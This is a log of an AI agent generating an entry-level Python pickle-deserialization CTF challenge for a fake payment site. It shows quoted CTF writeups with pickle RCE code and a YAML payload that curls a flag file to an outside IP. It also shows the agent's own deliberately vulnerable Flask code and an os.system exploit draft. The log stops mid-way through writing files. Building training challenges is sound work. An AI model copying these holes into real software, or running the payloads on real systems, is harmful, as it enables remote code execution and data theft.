[2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 2 不满足条件 knowledge_count > 1，跳过
[2026-01-08 14:02:45] [INFO] [AIService] 已从数据库加载已编译的 Prompt 模板（难度: 入门）
[2026-01-08 14:02:45] [INFO] [AIService] 已加载 Prompt，包含 9 个阶段
[2026-01-08 14:02:45] [INFO] [AIService] 初始化 9 个阶段 (task_id: 20260108140245-c89a371f-44af-4db6-86da-193faf96a956)
[2026-01-08 14:02:45] [INFO] [AIService] 已设置系统提示词 (7643 字符)
[2026-01-08 14:02:45] [INFO] [AIService] 已从数据库加载系统 Prompt (7643 字符)
[2026-01-08 14:02:45] [INFO] [AIService] 开始生成 CTF 题目: 入门 / Python / Python反序列化
[2026-01-08 14:02:45] [INFO] [AIService] 用户指令内容:
- 语言：Python
- 难度级别：入门
- 应用场景：支付平台
- 漏洞类型：Python反序列化
[2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): processing - 正在处理: 用户输入需求...
[2026-01-08 14:02:45] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 用户输入需求已确认
[2026-01-08 14:02:45] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:02:45] [INFO] [AIService] [轮次 1] 发送给 AI 的消息:
[2026-01-08 14:02:45] [INFO] [AIService] - 语言：Python
- 难度级别：入门
- 应用场景：支付平台
- 漏洞类型：Python反序列化
[2026-01-08 14:02:47] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:02:53] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:02:53] [INFO] [AIService] [轮次 1] AI 响应:
[2026-01-08 14:02:53] [INFO] [AIService] 阶段1：用户输入需求
已接收用户需求：
- 语言：Python
- 难度：入门（1个漏洞）
- 漏洞：Python反序列化
- 场景：支付平台
阶段2：漏洞主次分类
入门难度只允许1个漏洞，跳过此阶段。
阶段3：知识库获取
现在从知识库中获取Python反序列化相关的writeup学习材料。
[2026-01-08 14:02:53] [DEBUG] [AIService] 保存阶段 0 摘要:
[2026-01-08 14:02:53] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 阶段 0 完成
[2026-01-08 14:02:53] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): processing - 正在执行: 知识库获取
[2026-01-08 14:02:53] [INFO] [AIService] 进入阶段 1 (ID: 3): 知识库获取
[2026-01-08 14:02:53] [TOOL] [AIService] [轮次 1] AI 请求执行 1 个工具:
[2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 参数: {"command": "python3 data/scripts/choice.py --difficulty=入门 --count=5 \"Python反序列化\""}
[2026-01-08 14:02:53] [INFO] [AIService] 执行工具: run_command
[2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行工具: run_command
[2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行命令: python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"...
[2026-01-08 14:02:53] [INFO] [AIService] [Tool] 执行 data/ 目录内的可执行文件，应用受限环境
[2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 结果: 📊 指定数量: 5 篇writeup
📁 分类 [Python反序列化]: 找到 7/9 个有效writeup
✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇
============================================================
📚 最终汇总选出的 5 篇文章：
- Bottle Poem.md
- File Store.md
- Homedrive.md
- Jar.md
- flask_caching.md
[2026-01-08 14:02:53] [INFO] [AIService] 🔧 run_command: 📊 指定数量: 5 篇writeup
📁 分类 [Python反序列化]: 找到 7/9 个有效writeup
✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇
============================================================
📚 最终汇总选出的 5 篇文章：
- Bottle Poem.md
- File Store.md
- Homedrive.md
- Jar.md
- flask_caching.md
[2026-01-08 14:02:53] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:02:56] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:02:56] [INFO] [AIService] [轮次 2] AI 响应:
[2026-01-08 14:02:56] [INFO] [AIService] 现在读取这5篇writeup文件的内容：
[2026-01-08 14:02:56] [TOOL] [AIService] [轮次 2] AI 请求执行 1 个工具:
[2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Bottle Poem.md"}
[2026-01-08 14:02:56] [INFO] [AIService] 执行工具: read_file
[2026-01-08 14:02:56] [INFO] [AIService] [Tool] 执行工具: read_file
[2026-01-08 14:02:56] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Bottle Poem.md (1659 字符)
[2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: 结果: LFI:
http://bottle-poem.ctf.sekai.team/show?id=/app/app.py
/sign url uses some secret to create digital signature of a user session.
http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py
reveals that secret.
So, now we can create our own customized sessions.
Viewing the src code of bottle:
```
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac... (截断，共 1659 字符)
[2026-01-08 14:02:56] [INFO] [AIService] 🔧 read_file: LFI:
http://bottle-poem.ctf.sekai.team/show?id=/app/app.py
/sign url uses some secret to create digital signature of a user session.
http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py
reveals that secret.
So, now we can create our own customized sessions.
Viewing the src code of bottle:
```
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg,
digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
```
There is usage of the pickle package which is vulnurable and allows RCE on
deserialization.
The full code:
```
import base64
import hashlib
import hmac
import pickle
import requests
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
unicode = str
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def touni(s, enc='utf8', err='stric
... (截断，共 1659 字符)
[2026-01-08 14:02:56] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:02:59] [TOOL] [AIService] [轮次 3] AI 请求执行 1 个工具:
[2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/File Store.md"}
[2026-01-08 14:02:59] [INFO] [AIService] 执行工具: read_file
[2026-01-08 14:02:59] [INFO] [AIService] [Tool] 执行工具: read_file
[2026-01-08 14:02:59] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/File Store.md (15167 字符)
[2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: 结果: # KalmarCTF 2024
by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260),
[CTFtime](https://ctftime.org/team/284495))
## web
### File Store (59 Solves)
#### Prompt
> Upload your files on the Kalmar File Store and share them with your friends.
>
> Note: For this challenge, you will not be sharing it by anybody else. Thus,
> you need to start your own instance.
>
> [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/)
>
>
> <./file-store.zip>
... (截断，共 8025 字符)
[2026-01-08 14:02:59] [INFO] [AIService] 🔧 read_file: # KalmarCTF 2024
by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260),
[CTFtime](https://ctftime.org/team/284495))
## web
### File Store (59 Solves)
#### Prompt
> Upload your files on the Kalmar File Store and share them with your friends.
>
> Note: For this challenge, you will not be sharing it by anybody else. Thus,
> you need to start your own instance.
>
> [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/)
>
>
> <./file-store.zip>
#### Reconnaissance
Upon visiting the provided URL and spinning up an instance, we are presented
with a web interface that allows the upload of files to a File Store web
application, which is subsequently stored in a directory specific to the
session ID.
#### Challenge Source
##### app.py (with our comments)
```python
from flask import Flask, request, render_template, redirect, session
from flask_session import Session # flask_ses
... (截断，共 8025 字符)
[2026-01-08 14:02:59] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:03:02] [TOOL] [AIService] [轮次 4] AI 请求执行 1 个工具:
[2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Homedrive.md"}
[2026-01-08 14:03:02] [INFO] [AIService] 执行工具: read_file
[2026-01-08 14:03:02] [INFO] [AIService] [Tool] 执行工具: read_file
[2026-01-08 14:03:02] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Homedrive.md (1405 字符)
[2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: 结果: Short writeup per now. will update later
create yaml file
`!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]`
```
http POST http://172.30.0.8:5000/register Host:manager.home.drive
username=admin [email protected] password=admin
HTTP/1.0 200 OK
Content-Length: 37
Content-Type: application/json
Date: Sun, 15 Aug 2021 03:07:47 GMT
Server: Werkzeug/2.0.1 Python/3.9.6
{
"message": "New user created!"
}
```
```
http http://172.30.0.8:5000/login Hos... (截断，共 1405 字符)
[2026-01-08 14:03:02] [INFO] [AIService] 🔧 read_file: Short writeup per now. will update later
create yaml file
`!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]`
```
http POST http://172.30.0.8:5000/register Host:manager.home.drive
username=admin [email protected] password=admin
HTTP/1.0 200 OK
Content-Length: 37
Content-Type: application/json
Date: Sun, 15 Aug 2021 03:07:47 GMT
Server: Werkzeug/2.0.1 Python/3.9.6
{
"message": "New user created!"
}
```
```
http http://172.30.0.8:5000/login Host:manager.home.drive username=admin
[email protected] password=admin
HTTP/1.0 200 OK
Content-Length: 277
Content-Type: application/json
Date: Sun, 15 Aug 2021 03:08:17 GMT
Server: Werkzeug/2.0.1 Python/3.9.6
{
"token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa-
xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q"
}
... (截断，共 1405 字符)
[2026-01-08 14:03:02] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:03:05] [TOOL] [AIService] [轮次 5] AI 请求执行 1 个工具:
[2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Jar.md"}
[2026-01-08 14:03:05] [INFO] [AIService] 执行工具: read_file
[2026-01-08 14:03:05] [INFO] [AIService] [Tool] 执行工具: read_file
[2026-01-08 14:03:05] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Jar.md (2681 字符)
[2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: 结果: # Jar
## Challenge:
My other pickle challenges seem to be giving you all a hard time, so here's a
[simpler one](https://jar.2021.chall.actf.co/) to get you warmed up.
## Solution:
We’re given a link to the web application, the Python source code, and a
picture of a pickle. The hint points to the [documentation for the Python
pickle module](https://docs.python.org/3/library/pickle.html), a clue that
this application is vulnerable to insecure deserialization.
The site shows a single form inpu... (截断，共 2681 字符)
[2026-01-08 14:03:05] [INFO] [AIService] 🔧 read_file: # Jar
## Challenge:
My other pickle challenges seem to be giving you all a hard time, so here's a
[simpler one](https://jar.2021.chall.actf.co/) to get you warmed up.
## Solution:
We’re given a link to the web application, the Python source code, and a
picture of a pickle. The hint points to the [documentation for the Python
pickle module](https://docs.python.org/3/library/pickle.html), a clue that
this application is vulnerable to insecure deserialization.
The site shows a single form input with an “Add Item” button. Whatever we
submit is appended to the page. Looking at the source code, we can see that
the `contents` cookie is used to store these submissions.
On a post request, the `contents` cookie is Base64 decoded and then
deserialized and stored in an array. The new item is added, the array is
serialized, and then the cookie is reencoded and set in the browser. When we
visit the page, the `contents` cookie is decoded and deserialized and the
objects are used to generate the
... (截断，共 2681 字符)
[2026-01-08 14:03:05] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:03:08] [TOOL] [AIService] [轮次 6] AI 请求执行 1 个工具:
[2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/flask_caching.md"}
[2026-01-08 14:03:08] [INFO] [AIService] 执行工具: read_file
[2026-01-08 14:03:08] [INFO] [AIService] [Tool] 执行工具: read_file
[2026-01-08 14:03:08] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/flask_caching.md (3550 字符)
[2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: 结果: # flask_caching (Web, 300 points)
> cache all the things (this is python3)
> http://web.chal.csaw.io:5000
This challenge serves up a Flask web application where we are able to upload
a note with a title and file, which it puts into the Redis database. It also
uses `flask_caching` on many endpoints just because. The source code was
provided in `app.py` and the relevant parts are included below:
```python
@app.route('/', methods=['GET', 'POST'])
def notes_post():
if request.method... (截断，共 3550 字符)
[2026-01-08 14:03:08] [INFO] [AIService] 🔧 read_file: # flask_caching (Web, 300 points)
> cache all the things (this is python3)
> http://web.chal.csaw.io:5000
This challenge serves up a Flask web application where we are able to upload
a note with a title and file, which it puts into the Redis database. It also
uses `flask_caching` on many endpoints just because. The source code was
provided in `app.py` and the relevant parts are included below:
```python
@app.route('/', methods=['GET', 'POST'])
def notes_post():
if request.method == 'GET':
return '''
Post a note
'''
title = request.form.get('title', default=None)
content = request.files.get('content', default=None)
if title is None or content is None:
return 'Missing fields', 400
content = content.stream.read()
if len(title) > 100 or len(content) > 256:
return 'Too long', 400
... (截断，共 3550 字符)
[2026-01-08 14:03:08] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:03:54] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:03:54] [INFO] [AIService] [轮次 7] AI 响应:
[2026-01-08 14:03:54] [INFO] [AIService] 阶段4：知识整理
## 可借鉴技巧清单
| 技巧 | 来源 | 代码片段 | 适用场景 |
|------|------|---------|---------|
| Flask Session Pickle 反序列化 | Bottle Poem.md | `pickle.dumps(data, -1)` 和 `pickle.loads()` | Flask Session 处理 |
| Cookie 编码/解码机制 | Bottle Poem.md | `cookie_encode(data, key)` 和 `cookie_decode()` | 自定义 Cookie 处理 |
| Pickle RCE 类定义 | Bottle Poem.md | `class PickleRce(object): def __reduce__(self): return eval, ("os.system(...)",)` | Python 反序列化利用 |
| 文件上传路径控制 | File Store.md | `path = f'static/uploads/{session.sid}'` | 通过 session.sid 控制路径 |
| Redis 缓存反序列化 | flask_caching.md | `pickle.loads(value[1:])` | Flask-Caching 模块利用 |
| 简单 Pickle 利用 | Jar.md | `pickle.dumps(RCE())` 和 `base64.urlsafe_b64encode()` | 基础 Pickle 反序列化 |
| YAML 反序列化 | Homedrive.md | `!python/object/apply:os.system ["curl ..."]` | YAML 格式反序列化 |
阶段5：题目设计
### 5.1 设计目标
- **差异度**：≥20%（入门难度要求）
- **深度**：1.5-4.0（入门难度范围）
- **趣味性**：0-1个啊哈时刻（入门难度要求）
### 5.2 利用链设计
| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 查看支付订单历史 | 1/10 | 自定义 |
| Step 2 | 漏洞发现 | 发现订单数据使用 pickle 序列化存储 | 2/10 | Bottle Poem.md |
| Step 3 | 漏洞利用 | 构造恶意 pickle 对象实现 RCE | 3/10 | Jar.md |
| Step 4 | 获取 Flag | 执行命令读取 flag | 4/10 | 自定义 |
### 5.3 核心代码预写
#### 漏洞触发代码（5-10行真实代码，包含导入）
```python
import pickle
import base64
from flask import Flask, request, session, render_template_string
app = Flask(__name__)
app.secret_key = 'supersecretkey123'
@app.route('/pay', methods=['POST'])
def pay():
amount = request.form.get('amount')
order_data = {'amount': amount, 'user': session.get('username')}
# 漏洞写法：使用 pickle 序列化订单数据
serialized_order = pickle.dumps(order_data)
order_id = base64.b64encode(serialized_order).decode()
# 将订单ID存储在session中
if 'orders' not in session:
session['orders'] = []
session['orders'].append(order_id)
return f"Payment successful! Order ID: {order_id}"
```
#### exp 核心代码（5-10行真实代码）
```python
import pickle
import base64
import os
import requests
class RCE:
def __reduce__(self):
cmd = "cat /flag.txt"
return os.system, (cmd,)
# 生成恶意pickle payload
malicious_order = {'amount': '100', 'user': RCE()}
payload = pickle.dumps(malicious_order)
order_id = base64.b64encode(payload).decode()
# 发送请求
url = "http://localhost:5000/view_order"
cookies = {'session': 'test_session'}
params = {'order_id': order_id}
response = requests.get(url, params=params, cookies=cookies)
print(response.text)
```
#### 依赖清单
- Flask==2.0.1
- requests==2.28.0
### 5.3.1 代码可运行性自检
1. **导入完整吗？** 是的，代码中用到的所有模块都有 import
2. **路由正确吗？** exp 请求的路径 `/view_order` 和后端定义的路由一致
3. **参数名一致吗？** exp 发送的参数名 `order_id` 和后端接收的参数名一致
4. **响应格式对吗？** exp 期望的响应格式和后端返回的格式一致
### 5.4 简易 exp 草稿（用于 Docker 测试）
```python
# 简易 exp 草稿（仅用于测试，阶段 7 会完善）
import requests
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.system, ("cat /flag.txt",)
url = "http://localhost:5000"
# Step 1: 注册用户
s = requests.Session()
s.post(f"{url}/register", data={"username": "test", "password": "test"})
# Step 2: 生成恶意订单
malicious_order = {'amount': '100', 'user': RCE()}
payload = pickle.dumps(malicious_order)
order_id = base64.b64encode(payload).decode()
# Step 3: 查看订单触发反序列化
response = s.get(f"{url}/view_order", params={"order_id": order_id})
# 预期结果：能看到 flag
print(response.text)
```
### 5.5 设计摘要
```
### 设计摘要
- 题目名称：SecurePay
- 利用链：注册用户 → 生成恶意订单 → 查看订单触发反序列化
- 黑名单：无
- 关键 payload：pickle.dumps(RCE对象)
- 容器端口：5000
```
阶段6：质量检查
### 检查清单
- [x] **深度达标**：平均深度 2.5，最高深度 4.0，符合入门难度要求
- [x] **漏洞覆盖**：用户要求的 Python 反序列化漏洞在利用链中
- [x] **代码可行**：阶段 5.3 的核心代码能正常运行
- [x] **payload 兼容**：无黑名单，payload 不会被过滤
所有检查通过，可以进入下一阶段。
阶段7：代码生成
首先创建输出目录：
[2026-01-08 14:03:54] [DEBUG] [AIService] 保存阶段 1 摘要:
[2026-01-08 14:03:54] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): completed - 阶段 1 完成
[2026-01-08 14:03:54] [DEBUG] [AIService] 阶段 2 (ID: 4, 知识整理): completed - 阶段 2 完成
[2026-01-08 14:03:54] [DEBUG] [AIService] 阶段 3 (ID: 5, 题目设计): completed - 阶段 3 完成
[2026-01-08 14:03:54] [DEBUG] [AIService] 阶段 4 (ID: 6, 质量检查): completed - 阶段 4 完成
[2026-01-08 14:03:54] [DEBUG] [AIService] 阶段 5 (ID: 7, 代码生成): processing - 正在执行: 代码生成
[2026-01-08 14:03:54] [INFO] [AIService] 进入阶段 5 (ID: 7): 代码生成
[2026-01-08 14:03:54] [TOOL] [AIService] [轮次 7] AI 请求执行 1 个工具:
[2026-01-08 14:03:54] [INFO] [AIService] 🔧 run_command: 参数: {"command": "mkdir -p output/$(date +%Y%m%d_%H%M%S)_SecurePay"}
[2026-01-08 14:03:54] [INFO] [AIService] 执行工具: run_command
[2026-01-08 14:03:54] [INFO] [AIService] [Tool] 执行工具: run_command
[2026-01-08 14:03:54] [INFO] [AIService] [Tool] 执行命令: mkdir -p output/$(date +%Y%m%d_%H%M%S)_SecurePay...
[2026-01-08 14:03:54] [INFO] [AIService] 🔧 run_command: 结果: (无输出)
[2026-01-08 14:03:54] [INFO] [AIService] 🔧 run_command: (无输出)
[2026-01-08 14:03:54] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:03:57] [TOOL] [AIService] [轮次 8] AI 请求执行 1 个工具:
[2026-01-08 14:03:57] [INFO] [AIService] 🔧 run_command: 参数: {"command": "ls -la output/"}
[2026-01-08 14:03:57] [INFO] [AIService] 执行工具: run_command
[2026-01-08 14:03:57] [INFO] [AIService] [Tool] 执行工具: run_command
[2026-01-08 14:03:57] [INFO] [AIService] [Tool] 执行命令: ls -la output/...
[2026-01-08 14:03:57] [INFO] [AIService] 🔧 run_command: 结果: total 48
drwxr-xr-x 3 yu22x staff 96 Jan 7 14:39 $(date +%Y%m%d_%H%M%S)_InvestmentPortal
drwxr-xr-x 20 yu22x staff 640 Jan 8 14:03 .
drwxr-xr-x@ 7 yu22x staff 224 Jan 8 12:33 ..
drwxr-xr-x 7 yu22x staff 224 Jan 7 17:10 20260107_105627_PickleMart
drwxr-xr-x 3 yu22x staff 96 Jan 7 14:39 20260107_143911_InvestmentPortal
drwxr-xr-x 3 yu22x staff 96 Jan 7 15:36 20260107_153626_InvestMaster
drwxr-xr-x 4 yu22x staff 128 Jan 8 11:41 20260107_165326_PaymentHub
d... (截断，共 1337 字符)
[2026-01-08 14:03:57] [INFO] [AIService] 🔧 run_command: total 48
drwxr-xr-x 3 yu22x staff 96 Jan 7 14:39 $(date +%Y%m%d_%H%M%S)_InvestmentPortal
drwxr-xr-x 20 yu22x staff 640 Jan 8 14:03 .
drwxr-xr-x@ 7 yu22x staff 224 Jan 8 12:33 ..
drwxr-xr-x 7 yu22x staff 224 Jan 7 17:10 20260107_105627_PickleMart
drwxr-xr-x 3 yu22x staff 96 Jan 7 14:39 20260107_143911_InvestmentPortal
drwxr-xr-x 3 yu22x staff 96 Jan 7 15:36 20260107_153626_InvestMaster
drwxr-xr-x 4 yu22x staff 128 Jan 8 11:41 20260107_165326_PaymentHub
drwxr-xr-x 7 yu22x staff 224 Jan 7 17:18 20260107_171207_PaymentHub
drwxr-xr-x 6 yu22x staff 192 Jan 7 21:19 20260107_205414_PaySecure
drwxr-xr-x 7 yu22x staff 224 Jan 8 12:22 20260108_121741_PaymentHub
drwxr-xr-x 7 yu22x staff 224 Jan 8 12:33 20260108_122853_企业文档管理系统
drwxr-xr-x 2 yu22x staff 64 Jan 8 14:03 20260108_140354_SecurePay
-rw-r--r-- 1 yu22x staff 479 Jan 7 10:54 Dockerfile
drwxr-xr-x 11 yu22x staff 352 Jan 8 11:41 PaymentPickle
-rw-r--r-- 1 y
... (截断，共 1337 字符)
[2026-01-08 14:03:57] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:04:01] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:04:01] [INFO] [AIService] [轮次 9] AI 响应:
[2026-01-08 14:04:01] [INFO] [AIService] 现在创建正确的输出目录：
[2026-01-08 14:04:01] [TOOL] [AIService] [轮次 9] AI 请求执行 1 个工具:
[2026-01-08 14:04:01] [INFO] [AIService] 🔧 run_command: 参数: {"command": "date +%Y%m%d_%H%M%S"}
[2026-01-08 14:04:01] [INFO] [AIService] 执行工具: run_command
[2026-01-08 14:04:01] [INFO] [AIService] [Tool] 执行工具: run_command
[2026-01-08 14:04:01] [INFO] [AIService] [Tool] 执行命令: date +%Y%m%d_%H%M%S...
[2026-01-08 14:04:01] [INFO] [AIService] 🔧 run_command: 结果: 20260108_140401
[2026-01-08 14:04:01] [INFO] [AIService] 🔧 run_command: 20260108_140401
[2026-01-08 14:04:01] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:04:05] [TOOL] [AIService] [轮次 10] AI 请求执行 1 个工具:
[2026-01-08 14:04:05] [INFO] [AIService] 🔧 run_command: 参数: {"command": "mkdir -p output/20260108_140401_SecurePay/docker/web"}
[2026-01-08 14:04:05] [INFO] [AIService] 执行工具: run_command
[2026-01-08 14:04:05] [INFO] [AIService] [Tool] 执行工具: run_command
[2026-01-08 14:04:05] [INFO] [AIService] [Tool] 执行命令: mkdir -p output/20260108_140401_SecurePay/docker/web...
[2026-01-08 14:04:05] [INFO] [AIService] 🔧 run_command: 结果: (无输出)
[2026-01-08 14:04:05] [INFO] [AIService] 🔧 run_command: (无输出)
[2026-01-08 14:04:05] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:04:43] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:04:43] [INFO] [AIService] [轮次 11] AI 响应:
[2026-01-08 14:04:43] [INFO] [AIService] ### 7.1 生成后端代码
首先创建完整的后端应用代码：
[2026-01-08 14:04:43] [TOOL] [AIService] [轮次 11] AI 请求执行 1 个工具:
[2026-01-08 14:04:43] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/20260108_140401_SecurePay/docker/web/src/app.py", "content": "import pickle\nimport base64\nimport os\nfrom flask import Flask, request, session, render_template_string, redirect, url_for\n\napp = Flask(__name__)\napp.secret_key = 'supersecretkey1234567890'\napp.config['SESSION_TYPE'] = 'filesystem'\n\nusers = {'admin': 'admin123', 'test': 'test123'}\n\n@app.route('/')\ndef index():\n if 'username' in session:\n return render_template_string('''\n Secure... (截断)
[2026-01-08 14:04:43] [INFO] [AIService] 执行工具: write_file
[2026-01-08 14:04:43] [INFO] [AIService] [Tool] 执行工具: write_file
[2026-01-08 14:04:43] [INFO] [AIService] [Tool] 写入文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/app.py (4606 字符)
[2026-01-08 14:04:43] [INFO] [AIService] 🔧 write_file: 结果: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/app.py
[2026-01-08 14:04:43] [INFO] [AIService] 🔧 write_file: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/app.py
[2026-01-08 14:04:43] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:04:47] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:04:47] [INFO] [AIService] [轮次 12] AI 响应:
[2026-01-08 14:04:47] [INFO] [AIService] ### 7.2 生成依赖文件
[2026-01-08 14:04:47] [TOOL] [AIService] [轮次 12] AI 请求执行 1 个工具:
[2026-01-08 14:04:47] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/20260108_140401_SecurePay/docker/web/src/requirements.txt", "content": "Flask==2.0.1"}
[2026-01-08 14:04:47] [INFO] [AIService] 执行工具: write_file
[2026-01-08 14:04:47] [INFO] [AIService] [Tool] 执行工具: write_file
[2026-01-08 14:04:47] [INFO] [AIService] [Tool] 写入文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/requirements.txt (12 字符)
[2026-01-08 14:04:47] [INFO] [AIService] 🔧 write_file: 结果: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/requirements.txt
[2026-01-08 14:04:47] [INFO] [AIService] 🔧 write_file: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140401_SecurePay/docker/web/src/requirements.txt
[2026-01-08 14:04:47] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat
[2026-01-08 14:05:05] [SYSTEM] [AIService] ============================================================
[2026-01-08 14:05:05] [INFO] [AIService] [轮次 13] AI 响应:
[2026-01-08 14:05:05] [INFO] [AIService] ### 7.3 生成前端模板文件
[2026-01-08 14:05:05] [TOOL] [AIService] [轮次 13] AI 请求执行 1 个工具:
[2026-01-08 14:05:05] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/20260108_140401_SecurePay/docker/web/src/templates/index.html", "content": "\n\n\n SecurePay - Secure Payment Platform\n